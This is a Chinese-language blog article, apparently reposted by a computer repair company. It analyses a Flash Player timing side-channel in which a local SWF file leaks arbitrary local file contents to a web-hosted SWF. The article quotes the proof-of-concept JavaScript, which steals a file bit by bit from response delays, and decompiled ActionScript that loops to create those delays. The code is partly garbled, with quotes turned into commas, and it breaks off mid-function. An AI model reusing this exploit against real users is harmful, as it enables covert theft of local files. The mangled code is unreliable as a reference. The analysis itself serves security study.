设为主页 | 加入收藏 | 繁體中文

本地SWF文件可将任意本地文件泄露于互联网

 Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player 版本不高于7时,本地 SWF 文件可与其它 SWF 文件交互并且可以从任何远程或本地位置加载数据。

原理

在 Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。

Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。

这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInte**ce call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。

本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:

0xD65后的内容极为html文件的内容。

看了下作者html中的js代码:

/* check the response time of flash */          function ping(cb) {          var l;          window.addEventListener(,message,, l = function(e) {          window.removeEventListener(,message,, l);          //console.log(,got delay ,+e.data.delay)          cb(e.data.delay);          });          document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);          }                    /* steal one bit */          function getbit(path, char, mask, cb) {          path = encodeURIComponent(path);          document.getElementById(,div,).innerHTML =          ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&amp;char=,+char+,&amp;mask=,+mask+,">,; //这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容 //作者将本地的swf文件和html文件合并在一起了,path为文件路径          setTimeout(function() {          ping(function(res) {          setTimeout(function() {          cb(res > 100);//根据延迟得到bit位的值          }, 500);          });          }, 200);          }                    /* steal one byte */          function getbyte(path, char, cb) {           var byte = 0;          var mask = 1;          function getbyte_() {          //console.log(,getbyte_ mask=,+mask)          getbit(path, char, mask, function(is_set) { //根据mask的那一bit为1,决定读取char中的某一bit位          //console.log(,mask=,+mask+, set=,+is_set);          if (is_set) byte |= mask; if (mask == 0x80) return cb(String.fromCharCode(byte));       mask <<= 1;       getbyte_();     });     /* steal an entire file */ function run() {   var path = document.getElementById(,path,).value;   console.log(,path=,+path)   var i = 0;   var text = ,,;   function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来     getbyte(path, i, function(char) {       console.log(,got char: ,+char)       text += char;       i++;       document.getElementById(,out,).innerText = text;       run_();     });   }   run_(); }

从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:

里面的主要两个函数的代码:

public static function completeHandler(arg1:flash.events.Event):void         {             var loc1:*=0;             if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)              {//该bit位为1则循环,因此会出现延迟                 loc1 = flash.utils.getTimer() + 400;                 do                  {                 }                 while (flash.utils.getTimer() < loc1);             }             return;         }           public static function main():void         {             Writer.timer = new haxe.Timer(1);             Writer.timer.run = function ():void             {                 var loc1:*;                 var loc2:*=null;                 var loc3:*=undefined as null;                 var loc4:*=undefined as null;                 if (flash.Lib.current.stage != null)                  {                     false;                 }                 if (false)                  {                     Writer.timer.stop();                     loc2 = flash.Lib.current.loaderInfo.parameters;                     Writer.path = loc2.path;//文件路径                     Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据                     Writer.mask = Std.parseInt( 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: